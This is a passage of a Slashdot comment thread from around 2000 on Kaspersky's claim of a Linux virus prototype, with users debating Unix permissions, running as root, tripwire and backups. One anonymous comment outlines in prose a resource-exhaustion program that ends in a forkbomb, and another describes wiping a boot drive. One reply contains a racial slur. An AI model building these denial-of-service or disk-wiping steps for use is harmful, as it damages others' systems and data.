  17. Shades of Joe McCarthy by KnightStalker · · Score: 2

    Kaspersky says that experts at his company's laboratories have successfully completed one such prototype: the result is a fully functional and potentially virile Linux virus. Kaspersky assures ZDNet that the virus is under lock and key and will stay that way.

    I suppose he also has a list in his pocket of 205 communists^H^H^H^H^H^H^H^H^H^H viruses in the Linux department :-)

    --
    * And remember, it's spelled N-e-t-s-c-a-p-e, but it's pronounced "Mozilla."
    1. Re:Shades of Joe McCarthy by daala · · Score: 1

      What is so funny about saying there where 205 communists - oh how very amusing, it is to laugh and joke and jest.

      It is funny to see that prejudice is still used as a form of humour. I am sure you wouldn't be laughing if the same aspersion was made for your cultural group. Just try attacking geeks and out you all come on the defense.

      The only shades of Joe Mcarthy that there are exist in the minds of the purveyor of this particular email voice of wisdom and everyone else that found it was funny.

      You would have been the same people way back in the 40's that thought it was ok to laugh at nigger jokes......

      --
      "The way she used to say Rimmer as if it rhymed with scum" Red Dwarf
    2. Re:Shades of Joe McCarthy by KnightStalker · · Score: 1

      Eh? I don't understand your comments. What aspersions was I making about what cultural group?
      I was merely pointing out the similarity to the McCarthy communist witch trials, in that the guy in question here claims to have damning evidence, but won't show anybody, and stands to profit from the perception of its existence.

      And you should be careful telling other people what they should think is funny. Some people might find that a bit... communist.

      --
      * And remember, it's spelled N-e-t-s-c-a-p-e, but it's pronounced "Mozilla."
    3. Re:Shades of Joe McCarthy by daala · · Score: 1

      pick up DAAS KAPITAL or other works by MARX or ENGELS (no I am not a communist just have read them)perhaps it will clarify a couple of issues on communism not what was scared into you during all that COLD WAR hooplah ie. NOT WHAT THEY TOLD YOU IN SOME REAGAN BOTTOM OF THE GENE POOL\CORNFLAKES PACKET ANNOUNCEMENT

      PS- I think the word you are looking for is totalitarian, actually they are probably more in line with current US Government policy at high schools.......

      You can laugh at anything you like, I don't care just wanting to point out that everybody has prejudice permeating nearly every part of their day it's what makes us individual's.. Restricting people's right to laugh sounds very totalitarian indeed not communist....

      --
      "The way she used to say Rimmer as if it rhymed with scum" Red Dwarf
    4. Re:Shades of Joe McCarthy by KnightStalker · · Score: 1

      I realize that the precise definition of "communist" does not include the way I used it. I was using the word ironically. Some people have no sense of humor...

      --
      * And remember, it's spelled N-e-t-s-c-a-p-e, but it's pronounced "Mozilla."
  18. Re:Russians Can't Even Kill Chechyans by Anonymous Coward · · Score: 0

    ummm the FAA still uses Ada.. so does Lockheed martin and BOEING.. a lot of the shuttle 's systems were written in Ada.. put down the crack pipe man..

  19. Full Disclosure by EXTomar · · Score: 1

    One of the big strengths behind any Open Source software is that implied in the nature of having the source: you are full disclosed to any of the problems with the software. ANYONE can inspect the code and find the strengths and problems of the software as opposed to "taking the vendor's word for it".

    We've seen it time and time again. Security through obscurity doesn't work. I still can't believe that there are *professionals* out there that still believe hidding how the software works is really the way to go.

  20. US Military uses Ada by Anonymous Coward · · Score: 0

    Actually the use of Ada is generally a requirement for any defense work in the US. If you don't use Ada you need to justify why.

    1. Re:US Military uses Ada by Anonymous Coward · · Score: 0

      that is not true. Another win by US Military. They all use java now.

    2. Re:US Military uses Ada by Anonymous Coward · · Score: 0

      Wrong... the military now uses any programming tool that makes sense. In other words, where I work we use C, C++, some Ada, Java of course, cobol and several others depending on basically whatever the current contractor wants to use it seems.

  21. Linux proto viruses by waveeq · · Score: 3

    I recently had some of my linux files infected by
    what was called a 'proto' virus. Though the virus
    only infected the file of that particular user, it
    was still a major pain to clean the files.
    Though *nix has a very strict file permission system, it is still a big hassle if a user on a system gets infected. Because then the sysop has to trace down who else on the system executed files of that user. And trace it down all the way.
    Altogether it is just a big hassle, and it would be great if some virii cleaners were avaliale for the whole system.

    1. Re:Linux proto viruses by Anonymous Coward · · Score: 0

      use tripwire and or any of the free alternatives (fcheck,secure.pl,sentinel etc) and compute the hash of the binaries on a regular basis.

    2. Re:Linux proto viruses by zenray · · Score: 1

      I don't want to sound like an advertisement but I've noticed that F-Secure has a Linux version of their anti-virus software. Haven't used it yet so no further comment except to say I had a gerneral idea that the normal wintel type of virus did not work under GNU/Linux. If this info has been posted already, please don't moderate this up.

      --
      zenray
    3. Re:Linux proto viruses by tzanger · · Score: 2

      Though *nix has a very strict file permission system, it is still a big hassle if a user on a system gets infected. Because then the sysop has to trace down who else on the system executed files of that user. And trace it down all the way.

      Funny, I thought that was what BSD process accounting was for. Track all the executions and return codes of all programs. Then there's also the kernel module that tracks every exec().

      I mean come on, if you're going to admin, don't be half-assed about it. Get your tcp loggers and your exec() loggers and set your user limits and WATCH the damn system. Don't set it up, leave it go and complain when you got rooted by a 6-week old exploit since you were surfing for pr0n instead of watching the security lists.

    4. Re:Linux proto viruses by coyote-san · · Score: 2

      Script kiddies love you. :-)

      Seriously, simply tossing in tripwire (and kin) is *not* adequate -- and in fact it leads to a false sense of security. The problem is that anyone with root access could modify the files, reinitialize the database, and the changes are indetectable.

      Even if your database is safe (e.g., CD-R, or r/o NFS directory), are you sure that tripwire hasn't een tampered with? That the crontab entry hasn't been tampered with? That the tripwire reports aren't disappearing down a rabbit hole?

      Don't get me wrong - tripwire is an extremely valuable tool, but unless the sysadmins knows what they're doing it can be easily circumvented by any knowledgable person with root access. Or by any script writer who knows how to check for the existence of local tripwire databases, for the times it runs as root and can do something nasty.

      --
      For every complex problem there is an answer that is clear, simple, and wrong. -- H L Mencken
  22. FUD? by 348 · · Score: 3
    The article and comments by Kaspersky seemed to be more of a press release rather than providing any real message. FUD is what I thought he was trying to get across. Cliffords comments on the other hand outline simply that Linux and *nix have much stricter file permissions and unless your log in as root, your pretty safe. I agree to a point, I think that there will be plenty of nasties waiting for Linux over the next couple of years. But now I think were pretty safe because the folks who are running Linux generally know what they're doing and unlike the "more commercial" operating systems, Linux admins/developers NEED to know what they are doing.

    I wonder why this FUD was put out to begin with? It seems to me that the target audience was middle managment and not the technical ranks, I think the technical rank and file who are Linux or Unix literate would just dismiss Kasperskys' claims.

    Never knock on Death's door:

    --

    More race stuff in one place,
    than any one place on the net.

    1. Re:FUD? by DebtAngel · · Score: 1

      I dunno, it read a lot to me like the average article in the Weekly World News. I mean, LInux Virii and the minions of Hell can't be that different, can they?

      --

      Is this post not nifty? Sluggy Freelance. Worshi

    2. Re:FUD? by gigabitme · · Score: 1

      Why did Kaspersky issue this statement!? Follow the money...

      Who stands to gain the most from hysteria about Linux virii? Anti-virus developers with suites for Linux, that's who.

      ...and there is no love lost between the Russians and Chinese. I'm sure it wouldn't hurt Kaspersky's feelings if people were to become more suspicious of Open Source projects/contributions originating in China... In fact, now that he's so deftly pointed the finger towards China as the source of these new Linux virii, wouldn't it be interesting if Moscow turned out to be the real source?

      --
      If appearance and essence were the same thing, there would be no need for science -- Dr. Michio Kaku
    3. Re:FUD? by Anonymous Coward · · Score: 0

      The plural of "virus" is "viruses", not "viriiiiiiii.

    4. Re:FUD? by bitwrangler · · Score: 1

      last week there as talk about Bruce Schneier's article "Key Finding" Attacks and Publicity Attacks. Newspapers. I guess neither M. Kaspersky doesn't read /.

  23. Careful With That Virus, Eugene by t_force · · Score: 1

    (with apologies to Pink Floyd)

    1. Re:Careful With That Virus, Eugene by finkployd · · Score: 1

      It's cool.

      (Since they aren't here to accept your appology, as the one with the closest nick, I'll accept for them)

      Finkployd


      Bill Gates: "Innovation"

  24. What of boot sector viruses? by Anonymous Coward · · Score: 2

    What if you boot a disk with a virus that infects LILO. Can any process (if it can even ba called that at LILO time) survive the Linux boot process intact? What if the virus has enough smarts to find the root filesystem (specified in lilo) and wedge itself into /etc/inittab or some such?

    1. Re:What of boot sector viruses? by Anonymous Coward · · Score: 1
      THis is a touchy topic. No one wants to discuss something that h4x0rz can use to trash Linux systems. But talking about it is the first step to preventing it.

      On the topic of boot sector viruses, just overwriting the first 1MB of your boot drive followed by scattered zeroing of sectors across the rest of the drives will hose pretty much any linux system. Some BIOSes watch for writes to the boot sector but totally ignore writes to starts of partitions (one of which usually follows the boot sector).

      While doing this won't help propagate the virus, it may not need to if DOS and DOS users can propagate it. The virus may even be harmless to DOS and only attack LINUS systems which would help propagate it further.

      Of course the real lesson is, never boot anything of unknown origin. Disable booting from floppy in your BIOS.

    2. Re:What of boot sector viruses? by Anonymous Coward · · Score: 2

      There are a few points of your theory that have holes, but the general idea is solid. If something were to infect the mbr, specifically looking for lilo, it could conceivably inject harmful code at boot time. The chances of this infecting a production machine are slim, however a workstation might be vulnerable if a> the user had a propensity for booting to floppy, or b> if the system were dual boot and booted to windows. A piece of malicious linux code could be inserted into the mbr at any time during an MS windows session. Then, at boot, that code could spread to the kernel. I'd have to check, but I assume the kernel has some kind of checksumming or similar facility to make sure the kernel isn't modified, but this too could be circumvented. An interesting theory... it may be interesting to persue it further.

    3. Re:What of boot sector viruses? by dirty · · Score: 1

      I think the hardest part is that there is no way for a virus writer to know exactly what the kernel installed on a computer is going to look like. There are countless different variations of the linux kernel out there, due to different versions, config options, compilers, etc. I would think that if anything tried this the result would be the system locking during the kernel boot process. Which would be a pain in the arse, but not really harmful.

      --

      -matt
    4. Re:What of boot sector viruses? by Anonymous Coward · · Score: 0
      Y'know, the real conspiracy theorists among the crowd might say that this is how M$ would fight Linux - release a virus that's benign to Windoze users, but trashes your LILO - maybe just does an "fdisk /mbr" type thing on it?

      After all, there's still lots of machines dual-booting out there (for example, my job requires certain productivity tools that aren't yet available in Linux - and no, I can't say which ones, except they're commercial software).

      Anyway, this is just my $0.02

    5. Re:What of boot sector viruses? by Joe_Dark · · Score: 1

      That's why you get something like VMWare. Then you wouldn't have to have a "dual boot" system for running those programs. Unfortunatly a VM running Windows isn't the fastest thing in the world.

    6. Re:What of boot sector viruses? by Cramer · · Score: 1

      The answer to your question is "yes." There are many things that can be done to the system by and/or during the boot sequence. I will not provide any details, however -- this is left as an exercise for the reader.

      There are a few road-blocks, however. Altering the boot record(s) requires direct access to the disk -- something that usually requires explicit priviledge. Additionally, priviledge is required to alter lilo's map file. AND, there are size constraints on how big lilo (and resulting virii code(s)) can be -- remember lilo starts in standard ("i can only see 1MB") mode with only BIOS calls at it's fingers.

      MILO on an alpha would be a much better target :-)

    7. Re:What of boot sector viruses? by Score+Whore · · Score: 1

      One very critical thing that people need to remember: any and every system can be rooted if you can run code on it. Fact of life.

    8. Re:What of boot sector viruses? by lintux · · Score: 1

      And you want to fit that all in, IIRC, 512 bytes? That'll be quite a smart guy who can do that.

    9. Re:What of boot sector viruses? by Anonymous Coward · · Score: 0

      Huh? What the hell do you mean you "can't say which ones"??

      It's classified information which programs you use, is it?

    10. Re:What of boot sector viruses? by Anonymous Coward · · Score: 0

      The plural of "virus" is "viruses", not "virii.

    11. Re:What of boot sector viruses? by Anonymous Coward · · Score: 0

      But then another one would say what if it's all the UNIX users who create Windows viruses to make them go to Linux?

  25. Take it as a flamebait by aav · · Score: 1

    Come on guys, let's get serious ... Have you ever seen any noticeable chinese program ?

  26. Yes, there are *real* Linux viruses by ViGe · · Score: 5

    Of course viruses exist for Linux. Except they're called Trojans, and there are relatively easy ways to keep them out: check source, compile source especially for anything suid root. Or trust your distro.

    Well, there you are wrong. There exist real viruses for Linux. They are not trojans and some of them even look for security holes in other computer so that they can break into them. Some links to the most "famous" ones:
    Bliss
    Staog

    --

    --
    It has to work - rfc1925
    1. Re:Yes, there are *real* Linux viruses by Anonymous Coward · · Score: 0

      Those both appear to be trojans...

    2. Re:Yes, there are *real* Linux viruses by Wedman · · Score: 1

      So, why be so specific to Linux?

      The article say that it is because of the binary format of linux executables. How does this make it any easier than lets say, binaries for AIX, Solaris, or any other UNIX system or library format? Are they too complex for Chinese hackers to understand?

      Maybe they don't understant thet Linux is a UNIX clone, and implements UNIX style security. If this wasn't the case, you'd think that there would be a many more 'famous' viruses for Linux (and UNIX in general).

      Perhaps the translation from Russian is weak, and they really mean 'exploits'. :P

      If these people are trying to be credible, they fail with the /. crowd

    3. Re:Yes, there are *real* Linux viruses by Anonymous Coward · · Score: 0
      Maybe they don't understant thet Linux is a UNIX clone, and implements UNIX style security.

      But at boot time there is no security. Is it possible for virus code loaded at boot time to survive the boot up process and then continue to run as root?

    4. Re:Yes, there are *real* Linux viruses by powerlord · · Score: 1

      Hey, since BSD and Solaris x86 can run Linux Binaries does that mean that a Virus made for linux can infect those systems as a freebee?

      Oh, and since there are so many distributions with files in different places, does that mean we'll see:
      "VirusX Originally for Corel but now ported to work with RedHat! Download it now!"

      (p.s. in case you couldn't guess the above was ment as humor)


      Colleen:Its a black-hole.
      Hunter:Is that a good thing?
      C:It is if you want to be compressed into oblivion.
      H:Oh.. coooool.

      --
      This space for rent. All reasonable inquiries will be entertained at proprietors discretion.
    5. Re:Yes, there are *real* Linux viruses by ianezz · · Score: 2

      > Is it possible for virus code loaded at boot time to survive the boot up process and then continue to run as root?

      The linux kernel takes over everything, so basically there shouldn't be any possibility for extraneous code to survive the boot process.

      Of course, you could "infect" in some way a kernel image, but one has to be already root in order to do that, so basically it's pointless.

      The problems arise when the user acts as a dumb monkey *as root*. There's little that you could do when some of your fundamental binaries are replaced by trojans (think of /bin/ls being replaced by trojan of some sort...).

      So:

      1) Don't take it too easy when you download something precompiled. Those md5sums are there for a reason, so use them!

      2) Don't run as root when you don't need to. Use utilities like "sudo" only on trusted binaries.

      3) Don't install something as root if you don't need to (in fact, there's little that actually NEEDS to be installed as root, and pratically nothing that actually NEEDS to stay necessarily in /usr/{bin/lib/sbin}).

      The first beta of WordPerfect 8 for Linux was known for producing a possible security hole when installed as root, and the usual advice (until it was corrected) was to create a particular user just for WordPerfect binaries. Not a virus, not a trojan, but just a mistake. You can always do something like this for binaries that you don't trust 100%.

      The remaining advice is the usual: make backups of data, make backups of data and still make backups of data. And possibly make a backup of your configuration files (not binaries, because reinstalling a Linux distribution from scratch generally doesn't take more that 1 hour, which shouldn't be a problem in a home environment). A CD recorder is something cheap enough that could do well today for home backups, if you can't afford a more expensive tape streamer.

      Keep in mind these basic principles, and trojans will stay away from you for a loooooong time.

      My 0.00001 Euro

  27. Re:DUH by Anonymous Coward · · Score: 1

    i dont care what your stupid dictionary dot com site tells you the word virus being a latin derived word has a plural of virii ... has nothing whatsoever to with script kiddie crap rather it has everything to do with proper usage of the language in question, you would do well to learn it before shooting off your mouth too

  28. An opportunity? by Bad_CRC · · Score: 1
    I have been hoping for some type of open source, free antivirus software for a while now in the windows world.

    Perhaps this may get it's start in the linux world if a virus or two starts to appear.

    I'm not sure how difficult it would be to create such a thing under the open source model, since it would be easy to get around at first, but even closed-source antivirus apps currently available do not prevent people from getting around them. And open source software would probably be updated much more quickly at any sign of threat.

    a universal, freely available, freely updatable, widespread (installed with every distro possibly) could be the death of viruses as we know them.

    Probably just wishful thinking on my part.

  29. GOOD TIMES! by auntfloyd · · Score: 1


    Haha! This Slashdot post is infected with an evil Linux virus! By reading it, you allowed it enter your system, from whence it will send itself all over the world!

    I 0wn j00 n0w!
    ~~~~~~~~~
    auntfloyd

    1. Re:GOOD TIMES! by Anonymous Coward · · Score: 0

      Oh no! What should I do?

      I better delete everything and go back to windows.

  30. The Chinese Conspiracy: Learning To Love Linux by WillAffleck · · Score: 1

    This is based on the concept that the Chinese population, adopting Linux en masse, is as severely thwarted as the Eastern European and Middle Eastern virus writers of Win/DOS fame.

    I see no signs of that. They're not dissaffected in regards to computers, and would probably rather write Windows 2000 viruses to get back at the US than their "own" Linux. Wouldn't it be more of a point to attack Bill Gates than to attack your own system?

    --
    Will in Seattle
  31. Permissions don't necessarily help by tilly · · Score: 4

    Remember Melissa? It didn't do anything other than make a private note that it had visited and send emails. Think that Unix permissions help against something like this?

    Most people keep a lot of important data writable by themselves in their home directory. Sure, "nothing important" may have been deleted, but you could still lose all of your files.

    Recall the Internet Worm? This came up before. There was nothing special about it, it just was a worm that could spread itself without any human action. That made its generation time a fraction of a second (as opposed to the 15-minutes to an hour for Melissa), which resulted in its almost instantaneous spread to every machine it could infect. Unix permissions helped against this how?

    No, Linux is not immune to viruses. And as long as buffer overflows and the like continued to be treated as minor oversights and not like the major threats that they are (even if the program is only running with user-level permissions), Linux will be vulnerable. Once it becomes popular it will likely become a target...

    Until then don't sweat it. After all the fire hasn't burned the house down yet, and we are fireproof. Aren't we?

    Regards,
    Ben

    PS The time for a fix to become available is meaningless. What is the time for that fix to become incorporated on the average machine out there? Ri-ight.

    --
    My usual seat in the cluetrain is at A HREF="http://pub4.ezboard.com/biwethey.ht
    1. Re:Permissions don't necessarily help by Anonymous Coward · · Score: 0

      umm..dimwit. thats what backups are for. internet worm code exploited known security holes in systems to popagate -those have since been fixed and everyone keeps a watch for em anyway. use securelinux patches and stackguard compiled binaries to stop buffer overflows cold.

    2. Re:Permissions don't necessarily help by Anonymous Coward · · Score: 0

      umm..dimwit. thats what backups are for. internet worm code exploited known security holes in systems to propagate -those have since been fixed and everyone keeps a watch for em anyway. use securelinux patches and stackguard compiled binaries to stop buffer overflows cold.

    3. Re:Permissions don't necessarily help by Anonymous Coward · · Score: 0

      All of these were because of sloppiness in system security. Melissa was due to Word being so poor in the security- and it wasn't a "virus" it was more like the Internet Worm. The Worm happened because of admins that didn't update to the latest version of sendmail. In both cases, you're right, privileges didn't prevent them; but good security and admin practices would have.

    4. Re:Permissions don't necessarily help by Jeff+Licquia · · Score: 1

      Actually, any platform that combines integrated scripting with some form of Internet access is susceptible to Melissa-style viruses. It's theoretically possible to, say, write an automated mail bomber that would run on any version of Netscape. This isn't a "Linux virus"; if anything, it's a Netscape virus. And even on Linux, its potential for damage is limited to a greater extent than on Mac or Windows.

      The Great Internet Worm was just that: a worm. Worms are different from viruses, and are an acknowledged security problem on all modern server OSes (NT, Un*x, Linux, *BSD, etc.). More importantly, worms can't be fought with the same tools as viruses; worms are best fought as (slightly :-) dumber versions of script kiddies.

      With the advent of high-level office suites for Linux, the potential for macro viruses does arise. True multiuser security helps slow the spread of these viruses, and their damage capacity is significantly limited, but they still could potentially be a problem. Hopefully, the authors of these office suites are considering these problems when writing scripting engines for their suites.

      The consensus is correct, however, when it comes to "traditional" viruses: they are not a significant threat, simply because they require root privilege to spread effectively. The virus threat to a typical server (with no local office suites or integrated Internet access programs) is minimal.

    5. Re:Permissions don't necessarily help by JWRose · · Score: 1
      IIRC, Melissa depended upon Outlook to spread itself. On *nix there is no standard client that everyone uses. The amount of variations of software on all the unices, make targeting a specific app, futile!


      Nothing exists exept atoms and empty space; everything else is opinion.

      --

      blah blah blah....
    6. Re:Permissions don't necessarily help by steffl · · Score: 1

      "... but you could still lose all of your files."

      backup. ever heard of backup?

      as of now you have greater chance to getting you data destroyed because of HW/SW failure then by virus (in the *nix world). you should back up all the data you don't want to loose.

      did I mention backup?

      I know this is a bit redundand but since it still comes up over and over I think there is need to spread the truth...

      erik

      --
      ...all excited, don't know why...
    7. Re:Permissions don't necessarily help by IntlHarvester · · Score: 1

      Actually, any platform that combines integrated scripting with some form of Internet access is susceptible to Melissa-style viruses.

      Lotus Notes solves this problem by requiring all code to be signed, and allowing administrators and users to sandbox code based on the signature. (Netscape may have such a feature when using the Netscape server products.)

      Not a perfect solution, because it requires a Big Brother certificate authority, but it prevents they type of corporate havoc MS Outlook allows.
      --

      --
      Business. Numbers. Money. People. Computer World.
  32. Kaspersky is out of his field... by dmuth · · Score: 5
    Yes, I really have been following viruses since 1992. No, I don't consider myself an expert, but I think I know a fair deal about them.

    That being said, I also used to hang out on Fido Net's virus echos in 1994 and 1995 where some of the true anti-virus experts hung out too. And yes, I consider Eugine Kaspersky of AVP (the guy who was quoted in the article) to be one of them. Back when the first Word Macro virus (Winword.Concept), he was the one who I saw first post about it to Fido's VIRUS echo, and he was also the first one to release a fix for it (another word macro which caught and disinfected Winword.Concept).

    Unfortunately, I fear this is another case of False Authority Syndrome in that while Eugene may know viruses very well, I question his credentials in the UNIX/Linux area. For one thing, for a virus to replicate to a considerable degree on a system, you'll need to be running as root -- if you're logged in as a regular user, any program you run isn't going to be able to infect /bin/ls, no matter how hard you try. :-)

    I think Kaspersky also misunderstands the nature of UNIX/Linux, in that a lot of applications (the stuff *I* use, anyway, like Apache, PHP, MySQL, etc.), when downloaded from the net, are usually done so in source form, and the end user compiles the code and runs it. It would be foolish if someone tried to put replicating code in their source, as it would be spotted very quickly and the author would have some serious explaining to do.

    Finally, just to play the Devil's Advocate, I think problems could arise if say, a binary in a distrubtion is infected, and then is sold to thousands of unsuspecting end users. All it would then take is to run that binary as root, and you suddenly have an infection on your hands. However, I don't see this as a very likely scenario, since I can count the number of Linux-based viruses which I have heard of on one hand. For the reasons I outlined above, Linux just isn't a very attractive platform to virus writers, who want to see their creations spread.

    1. Re:Kaspersky is out of his field... by deacent · · Score: 4

      I think Kaspersky may have the future audience of Linux in mind, rather than the present audience. As Linux becomes more popular, it is likely that the average Linux user will be less technically savvy. This would mean that the user may be more likely to log in as superuser (so he doesn't have to worry about not being able to install apps) and certainly wouldn't dream of downloading source to create his own binaries. Under these circumstances, a virus is quite easy sneak into a binary distribution, just as it is on other platforms.

      I think what he's most concerned about is the fact that a malicious hacker can construct a more potent virus since he has access to the OS's source. Linux is most definitely more popular than it was a couple years ago, which makes it more interesting to virus writers, or certain other OS companies who may benefit in discrediting Linux.

      What Kaspersky overlooks is that Linux is a constantly evolving OS. As long as that remains the case, Linux could evolve an immune system to counteract viruses, either by seeking them out or by fixing weaknesses that virus writers find.

      -Jennifer

    2. Re:Kaspersky is out of his field... by QuantumG · · Score: 1

      hi. New linux virus techniques allow one to infect all executing processes owned by the user who is infected (in memory). Then the virus can infect any executable the user owns. Add to this the abilitity to snarf authorization tokens and you have a virus that can follow a standard user to root priviledges and then to the entire system (and then to the next system). Research on the unix-virus mailing list is bluring the line of what is a worm and what is a virus.

      --
      How we know is more important than what we know.
    3. Re:Kaspersky is out of his field... by eric.t.f.bat · · Score: 1
      Maybe it pegs me as an inveterate newbie, but I always log in as root on my system. The reason? Our darling friends at Red Hat have not seen fit to provide a version of kppp that runs for anyone but root, and although I could probably go grovelling through the chain of batch files -- uh, sorry, I mean shell scripts -- I don't feel like it. I have better things to do. I'm one of the new generation of non-newbie newbies. I can program in a dozen languages, I've been using computers for nearly 20 years, and I use Linux as a single user, with no networking apart from a modem to my ISP. I even switch my computer off when I'm finished, which some of my geek friends just can't get their heads around -- those geek friends have universities or company tax breaks to pay for their electricity, and don't sleep next door to the buzzing CPU fans.

      So maybe I'm vulnerable, and maybe I should do Red Hat's job for them and make my system at least minimally usable (a working sendmail config would be nice too, guys...) but I've managed to use Windows for a decade without ever getting infected, so I think I'll be OK with root on Linux.

      : Fruitbat :

      --
      I have discovered a truly remarkable .sig block which this margin is too small to conta
  33. Macro$haft by Anonymous Coward · · Score: 0

    I am sure Macro$haft has been trying to write Linux virii for a long time. There are certainly a lot of people who would like to see Linux fail, but hundreds of thousands more who would like to see it succeed.

    In the end, even if a virus were to come out that was temporarily damaging to Linux, a fix would be out later that day, and Linux would only be stronger because of it.

    Now Macro$haft, on the otherhand, has known about Back Orifice 2000 for a LONG TIME, and hasn't lifted a finger to fix the problem or patch any of the security holes it exploits.

    Which product would you rather use? I will stick with open source.

    1. Re:Macro$haft by Anonymous Coward · · Score: 0

      The plural of "virus" is "viruses", not "viriiiiiiiiii.

    2. Re:Macro$haft by Anonymous Coward · · Score: 0

      I never heard of a company called Macro$haft. Is that one of those dotcom Linux startups, like RedHat, Lycos, and Altavista?

    3. Re:Macro$haft by Anonymous Coward · · Score: 0

      You can't "fix" Back Orifice 2000, it's not a bug. If someone installs a package to permit remote administration of your workstation/ server, it should damn well work. That's all that BO2K is, a remote admin program written by people from the other side of the fence. The OS cannot determine "intention" or other nebulous concepts, it can only dictate privilege.

      The virus scanners that flag BO2K as a trojan/ virus/ whatever are making a wrong first step, because it's a mutatable Open Source project, so they might as well waste their time chasing VBA viruses (oh wait, they do that too).

      Anyway, just wailing on you for thinking that BO2K is some kind of OS bug, it's just another tool in the toolbox.

  34. Immaculate Conception by Imortus · · Score: 1

    There's an unwritten law that many seem to be overlooking here, overconfident as they are that Unix is beyond anything passed user-level desecration.

    God, or his swarthy minions, will create a better breed of virus to accomplish what, perhaps right now, seems impossible or at least unlikely. Computers are no less susceptible to disease than their progenitors, Man, and just as we smite an infectious contagion, another, more virulent strand appears to take its place. Such will be the same in the world of technology, and while the term 'virus' or 'worm' or 'microsoft'may be misleading as to the exact nature of the affliction, something will find its way to creation. Because Man cannot allow itself to be bettered by its own creation.

    1. Re:Immaculate Conception by Anonymous Coward · · Score: 0

      i am root. therefore i am god - at least on my own system.

  35. OPEN SOURCE VIRUS by Anonymous Coward · · Score: 0

    NEWS FLASH!!!


    open source news. an outbreak of a disease similar to the ebola virus has killed at least 63 computers during the past few months in the democratic republic of congo, health officials said monday.

    the affliction, which causes sudden high fevers and massive bleeding like ebola, surfaced in january in the northeast part of the country near watsa, a town close to the border of sudan and uganda.

    all of the deaths are associated with the open source development town of durba, according to a world health organization representative in the capital kinshasa. reports of deaths elsewhere had not yet been verified, the official said.

    a total of 350 computers died around the town of kikwit in the former zaire in 1995 in the most serious known epidemic of ebola, for which there is no known cure.

    the disease kills most of its victims, and death usually happens within 48 hours.

    the partly state-owned office of kilo-moto (okimo) open source development company operates in durba.

    the who official, quoting information obtained from a radio conversation with a computer technician in durba, said that two of the dead were okimo computers but most were systems used by independent programmers.

    other dead linked to the Durba outbreak include two aptivas, three compaqs and the laptop of the computer technician who treated the first victims. it died saturday in isiro, to the west of watsa.

    the cause of the fever outbreak was not immediately clear.

    a team from the programmers without borders technical charity has arrived in the region. they had protective gear and would take samples for testing abroad, who officials said.

    scientists have linked ebola outbreaks elsewhere to computers that ate or handled russian floppy disks which had been used in computers that had died of the disease.the cdc has issued an outbreak alert for areas of zaire.


    thank you.

  36. Lies, lies, more lies by Anonymous Coward · · Score: 0

    All American propaganda! Get lost, losers!

  37. cultural reasons viruses won't proliferate in *nix by opus · · Score: 1

    In addition to the technical reasons cited in the article, I believe there's a cultural reason that viruses won't proliferate under Linux and other Unixes. Unlike Windows users, Linux users don't email executable files, such as this past holiday season's "Elf Bowling" and "Frogapault", to one another. If people only get executables from safe sources, e.g. from the vendors or developers themselves, or from well-known sites like metalab, there's little danger of passing around malicious code.

    (This is not to say, of course, that we shouldn't step up efforts to distribute code with digital signatures. If someone compromised metalab we could be seriously screwed.)
    --

  38. That which does not kill me... by Anonymous Coward · · Score: 0

    We all know how the saying ends.

    Even *if* viruses are unleashed upon the Linux world, and even *if* there are ones that exploit holes... We all should have a fair amount of confidence that they will be fixed--and fixed correctly in a relatively short time. With so many people able to look at source, one should expect this.

    Virus writers will have an extremely difficult (if not impossible) time spreading binary viruses. Of course, with the spread of downloading of rpms and debs, one might expect the possibility to increase. I for one rarely download rpms, and then only from trusted sites.

    The mirror will invariably be turned back on the virus authors, as we would have the source to their viruses, and all of the holes will be fixed that much quicker, including fixes for variations of the viruses.

    Nothing will protect the newbie from getting their personal account deleted, any more than in the Windows world, getting their machine wiped. And anyone ignorant enough to run everything as root will of course get their machine wiped. Wasn't it MCI that got caught by a virus because they ran too much stuff as Administrator in NT?

    There is nothing to indicate that the self-policing world of open source will crumble. I'd predict things would become even more secure.

  39. What's wrong with root? by joshv · · Score: 2

    I run as root all the time. I cut my teeth on DOS, Windows, and then NT, and have always run with Administrative priveleges. Never had a problem, I am just extremely careful with what I do.

    Most of the time I use Linux I am tinkering, recompiling, reinstalling new versions etc... things that require root access. So why bother with the fiction of a 'user' account?

    Ok, so I might be exposing myself to a slightly greater risk with regards to Linux viruses - guess that's what backups are for.

    -josh

    1. Re:What's wrong with root? by vectro · · Score: 2

      Unless of course all of your backups are infected with the virus before you find it. If the virus is confined to a sinle user, then no problem. But if the virus runs as the kernel, then you have issues.

  40. Here's a user program that will fuck you up. by Anonymous Coward · · Score: 0

    The program should do the following:

    (1) Fill up /tmp, /var/tmp, and /usr/tmp.
    (2) malloc up as much memory as possible.
    (3) Continuously read files randomly (to defeat cacheing) all over the filesystem to slow down disk access.
    (4) Lock up X (Not hard to do). This can totally sieze up the display and keyboard rendering the machine useless. And if you can't telnet in from elsewhere, you'll be forced to hit reset and uncleanly mount all file systems w potential for loss of data.
    (4) When all else is done, forkbomb!

    1. Re:Here's a user program that will fuck you up. by Foogle · · Score: 1
      One word: "Quotas"

      -----------

      "You can't shake the Devil's hand and say you're only kidding."

    2. Re:Here's a user program that will fuck you up. by pe1rxq · · Score: 1

      I think that almost everything you described can be prevented with quotas.....
      Nobody actually usses them, but they should...

      --
      Secure messaging: http://quickmsg.vreeken.net/
    3. Re:Here's a user program that will fuck you up. by Anonymous Coward · · Score: 0

      Hmmm...well now... I do learn something new everyday. Can you give a brief primer on how quotas work under Linux ?

      Thanks

  41. The real problem by redhog · · Score: 2

    I think the real problem related to this is that, none of the distros (at least the ones I've used), requere any user account to be set up besides the root account at installation time - nor is the user suggested by the install program to do that later on. If users where requered to create an initial account for themselevs, and instructed by the installation program not to use the root account for anything except fro maintainse and program installation, more of the newbies would probably run as unprivilegied users most of the time. In addition, such an installer could ask the user if he/she wants to set up some usefull groups for getting "half-god" privilegies, like write ability to /usr/local and mount ability on /dev/cdrom and /dev/floppy. That sort of privilegies would not comprimise system security much, but restrict the occasions on which a user "su -"'s...
    --The knowledge that you are an idiot, is what distinguishes you from one.

    --
    --The knowledge that you are an idiot, is what distinguishes you from one.
    1. Re:The real problem by Anonymous Coward · · Score: 0

      RH 6.1 prompts you to create a user account when you install.

    2. Re:The real problem by DanMcS · · Score: 2

